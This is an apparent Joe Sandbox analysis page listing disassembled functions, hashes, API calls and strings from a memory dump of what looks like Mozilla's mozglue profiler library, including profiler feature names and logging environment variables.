Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3f9b84d642bf0feeb07b7e05041c62d445ca763a4520d074481a95d826f94bb0
Instruction ID: ab7921ce70af380c7e2b471b2340586f2fd6c334f518e25e046aa9877d45588b
Opcode Fuzzy Hash: 3f9b84d642bf0feeb07b7e05041c62d445ca763a4520d074481a95d826f94bb0
Instruction Fuzzy Hash: 1EC1AF75E01209ABCB04CF95C5906EEFBB6FF8A318F28425DD8557BB45D732A806CB90

Function 6C97DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa1ffc2739ba546c184e1ca3692d97669d92bd2c6fb353cbb611f2e836494cc
Instruction ID: 2420ff0e680ae108f742e6ad10f41d8281e6e24b57450cae6bbac2015ef3cc7d
Opcode Fuzzy Hash: afa1ffc2739ba546c184e1ca3692d97669d92bd2c6fb353cbb611f2e836494cc
Instruction Fuzzy Hash: 8F42C132A097518FD314CE3CC49139AB3E2BFC9364F198B2DE999A7790D734D9418B81

Function 6C9E76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 17d7c3fbddf238b86748ec42ccc916ce30393c4160057f595498d6a71b75d55e
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8B321871E0061A8FCB15CF98C880AADFBF6FF98304F5481A9C549A7746D731A986CF91

Function 6C9E6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 81d8b0b9cc10f1787240561eeea8acce104aa4335a3098664ae979d509375df4
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 2222E871E002198FCB15CF98C880AADF7F6FF98304F6485AAC549A7746D731A986CF90

Function 6C9A0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: dd002deb7c4bb720e901b6777861c564866c4292dc6fdb8ab7ff55671b68bba1
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: B8220771E04669CFDB14CF98C890AADF7B6FF89308F548199D44AA7705D731A986CF80

Function 6C9EAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b19db587d712627a1d5f7c4aba2f4f1ba577eb39f4dd62fc827e74f492de22
Instruction ID: da33c61c4693a9e97d70c1e900081f648f74a4f594c78513f56557434f42d12c
Opcode Fuzzy Hash: 16b19db587d712627a1d5f7c4aba2f4f1ba577eb39f4dd62fc827e74f492de22
Instruction Fuzzy Hash: 6CF15D716083458FD702CF28C48036ABBF6AFED318F158A2DE4D4877A1EB74D8858792

Function 6C97C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: fbdf65a649773743d553d309eeb9811d644a680c15a34be756e26b3c5f8b80d1
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: D1A1B171F0121A8FDB18DE69C8913AEB7F2AFC8354F198169D915E7781DB349C068BE0

Function 6C9B7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 2d832eb64c39f81183da98a0178add196e3fae4b5ddc7a198937508702048fc0
Instruction ID: beda5f02de0360db43891a5156ba63d7581b589839e33224471a8904d7aaa273
Opcode Fuzzy Hash: 2d832eb64c39f81183da98a0178add196e3fae4b5ddc7a198937508702048fc0
Instruction Fuzzy Hash: 4A715D75E012199FCB18CFA9D4905EEBBB6FF89314F24826ED415BB740D731A905CBA0

Function 6C9B58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 216abe1fe336c9b7730968e1ad838549c448772ff4970d701f5873fc2abd9764
Instruction ID: 3d27daa563ad86e2cd38a4beec83213e70d91131874843a89005e86cfd28640a
Opcode Fuzzy Hash: 216abe1fe336c9b7730968e1ad838549c448772ff4970d701f5873fc2abd9764
Instruction Fuzzy Hash: B6816B75A012199FCB04CFA8D8809EEBBF6FF89318F644269E411BB741D731E945CBA0

Function 6C9BCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C98582D), ref: 6C9BCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C98582D), ref: 6C9BCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9EFE98,?,?,?,?,?,6C98582D), ref: 6C9BCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C98582D), ref: 6C9BCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C98582D), ref: 6C9BCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C98582D), ref: 6C9BCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C98582D), ref: 6C9BCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C9BCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C9BCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C9BCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C9BCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C9BCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C9BCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C9BCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C9BCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C9BCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C9BCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C9BCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C9BCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C9BCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C9BCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C9BCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C9BCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C9BCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C9BCE8A

Strings

leaf, xrefs: 6C9BCC66
fileioall, xrefs: 6C9BCCA8
audiocallbacktracing, xrefs: 6C9BCDD4
power, xrefs: 6C9BCE84
stackwalk, xrefs: 6C9BCCF8
nativeallocations, xrefs: 6C9BCDA8
default, xrefs: 6C9BCC21
mainthreadio, xrefs: 6C9BCC7C
nostacksampling, xrefs: 6C9BCD7C
unregisteredthreads, xrefs: 6C9BCE58
java, xrefs: 6C9BCC37
noiostacks, xrefs: 6C9BCCBE
screenshots, xrefs: 6C9BCCD4
Unrecognized feature "%s"., xrefs: 6C9BCEA0
preferencereads, xrefs: 6C9BCD92
fileio, xrefs: 6C9BCC92
seqstyle, xrefs: 6C9BCCE6
markersallthreads, xrefs: 6C9BCE42
notimerresolutionchange, xrefs: 6C9BCE00
processcpu, xrefs: 6C9BCE6E
cpuallthreads, xrefs: 6C9BCE16
samplingallthreads, xrefs: 6C9BCE2C
jsallocations, xrefs: 6C9BCD0E
ipcmessages, xrefs: 6C9BCDBE

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 15004a706b272e89b98cb0c705fae61a839452eda890c067457e2230872df07b
Instruction ID: 766b72771e136f228da3b57bfd6a23473be84e17576790d48d0093d50d1df7ae
Opcode Fuzzy Hash: 15004a706b272e89b98cb0c705fae61a839452eda890c067457e2230872df07b
Instruction Fuzzy Hash: 8D51CAC5B0532671FB0232596D10BAF180CEFF724AF10543AED69B5E81FB24E61A46B7

Function 6C9847C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C984801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C984817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C98482D
__Init_thread_footer.LIBCMT ref: 6C98484A

Part of subcall function 6C9AAB3F: EnterCriticalSection.KERNEL32(6C9FE370,?,?,6C973527,6C9FF6CC,?,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB49
Part of subcall function 6C9AAB3F: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C973527,6C9FF6CC,?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AAB7C

GetCurrentThreadId.KERNEL32 ref: 6C98485F
GetCurrentThreadId.KERNEL32 ref: 6C98487E
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C98488B
free.MOZGLUE(?), ref: 6C98493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C984956
free.MOZGLUE(00000000), ref: 6C984960
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C98499A

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

free.MOZGLUE(?), ref: 6C9849C6
free.MOZGLUE(?), ref: 6C9849E9

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C984812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C984828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9847FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C984A42
[I %d/%d] profiler_shutdown, xrefs: 6C984A06

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 53ea47788f6beb2e7f9c7f8407afc9ea776431dc9be38dd10fb5eb9e9927c5af
Instruction ID: 4db0b381c74c402e4011414fbf70dd5adce977700f63d277583c3d2cfe2578c1
Opcode Fuzzy Hash: 53ea47788f6beb2e7f9c7f8407afc9ea776431dc9be38dd10fb5eb9e9927c5af
Instruction Fuzzy Hash: 9A814871A051008BDB10DF68E8A875E33BDBF5231CF240A29D9269BF41E735E845CF96

Function 6C984470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C984730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9844B2,6C9FE21C,6C9FF7F8), ref: 6C98473E
Part of subcall function 6C984730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C98474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9844BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9844D2
InitOnceExecuteOnce.KERNEL32(6C9FF80C,6C97F240,?,?), ref: 6C98451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C98455C
LoadLibraryW.KERNEL32(?), ref: 6C984592
InitializeCriticalSection.KERNEL32(6C9FF770), ref: 6C9845A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9845AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9845BB
InitOnceExecuteOnce.KERNEL32(6C9FF818,6C97F240,?,?), ref: 6C984612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C984636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C984644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C98466D
VerSetConditionMask.NTDLL ref: 6C98469F
VerSetConditionMask.NTDLL ref: 6C9846AB
VerSetConditionMask.NTDLL ref: 6C9846B2
VerSetConditionMask.NTDLL ref: 6C9846B9
VerSetConditionMask.NTDLL ref: 6C9846C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9846CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9846F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9846FD

Strings

user32.dll, xrefs: 6C984557, 6C98463F
l, xrefs: 6C984578
kernel32.dll, xrefs: 6C9844CD
NativeNtBlockSet_Write, xrefs: 6C9846F7
WRusr.dll, xrefs: 6C9844B5

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 5f3ec801d3b3bbf3f3d8bd38563a992bf740e722d94cbdf28cc2b6c0cee427ac
Instruction ID: 0d37ed4971926588697256b032e71772af85be6d9cdd796f2a0d2b13dd40f008
Opcode Fuzzy Hash: 5f3ec801d3b3bbf3f3d8bd38563a992bf740e722d94cbdf28cc2b6c0cee427ac
Instruction Fuzzy Hash: 2D6136B1609348AFEB008F60EC49B99BBFCEF4670CF248998E5249B681D770C945CF91

Function 6C9BE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C9BB9F1,?), ref: 6C9B7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9BDCF5), ref: 6C9BE92D
GetCurrentThreadId.KERNEL32 ref: 6C9BEA4F
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEA5C
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEA80
GetCurrentThreadId.KERNEL32 ref: 6C9BEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9BDCF5), ref: 6C9BEA92
GetCurrentThreadId.KERNEL32 ref: 6C9BEB11
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C9BEB3C
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEB5B

Part of subcall function 6C9B5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9BEB71), ref: 6C9B57AB

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C9BEBAC

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

GetCurrentThreadId.KERNEL32 ref: 6C9BEBC1
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000), ref: 6C9BEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C9BEBE5
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8,00000000), ref: 6C9BEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9BEC46
CloseHandle.KERNEL32(?), ref: 6C9BEC55
free.MOZGLUE(00000000), ref: 6C9BEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C9BEA9B
[I %d/%d] profiler_start, xrefs: 6C9BEBB4

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: dc0e570a11e75fe25c97113b306d7a78d782dcb721e55d2628eeb670aab88f1a
Instruction ID: 4367634f18cb5a05e5c36af75126219e7cc532a3e6943760b6742438716be4b1
Opcode Fuzzy Hash: dc0e570a11e75fe25c97113b306d7a78d782dcb721e55d2628eeb670aab88f1a
Instruction Fuzzy Hash: B6A12431704204AFDB009F68E848BAA77F9FF9631CF244169E96997B41DB31D805CBA2

Function 6C9BF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C9BF8F9

Part of subcall function 6C986390: GetCurrentThreadId.KERNEL32 ref: 6C9863D0
Part of subcall function 6C986390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9863DF
Part of subcall function 6C986390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C98640E

ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BF93A
